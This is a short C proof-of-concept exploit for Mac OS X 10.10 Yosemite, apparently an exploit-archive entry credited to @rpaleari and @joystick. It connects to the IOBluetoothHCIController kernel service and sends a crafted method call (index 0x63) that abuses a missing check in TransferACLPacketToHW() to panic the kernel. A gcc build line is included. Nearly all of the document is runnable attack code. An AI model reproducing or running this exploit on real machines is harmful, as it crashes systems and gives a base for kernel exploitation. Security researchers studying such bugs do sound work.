OS X 10.10 Bluetooth TransferACLPacketToHW

/*

* crash-issue3.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick.

*

* Exploits a missing check in

* IOBluetoothHCIController::TransferACLPacketToHW() to trigger a panic.

*

* gcc -Wall -o crash-issue3{,.c} -framework IOKit

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <mach/mach.h>

#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

struct BluetoothCall {

uint64_t args[7];

uint64_t sizes[7];

uint64_t index;

};

int main(void) {

/* Finding vuln service */

io_service_t service =

IOServiceGetMatchingService(kIOMasterPortDefault,

IOServiceMatching("IOBluetoothHCIController"));

if (!service) {

return -1;

}

/* Connect to vuln service */

io_connect_t port = (io_connect_t) 0;

kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);

IOObjectRelease(service);

if (kr != kIOReturnSuccess) {

return kr;

}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;

memset(&a, 0, sizeof(a));

a.sizes[0] = 0x1000;

a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));

a.sizes[1] = 0x1000;

a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));

memset((void *)a.args[1], 0x22, 0x1000);

/* Call DispatchHCISendRawACLData() */

a.index = 0x63;

/* Debug */

for(int i = 0; i < 120; i++) {

if(i % 8 == 0) printf("\n");

printf("\\x%02x", ((unsigned char *)&a)[i]);

}

printf("\n");

fflush(stdout);

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */

(uint32_t) 0, /* Selector */

NULL, 0, /* input, inputCnt */

(const void*) &a, /* inputStruct */

sizeof(a), /* inputStructCnt */

NULL, NULL, NULL, NULL); /* Output stuff */

printf("kr: %08x\n", kr);

return IOServiceClose(port);

}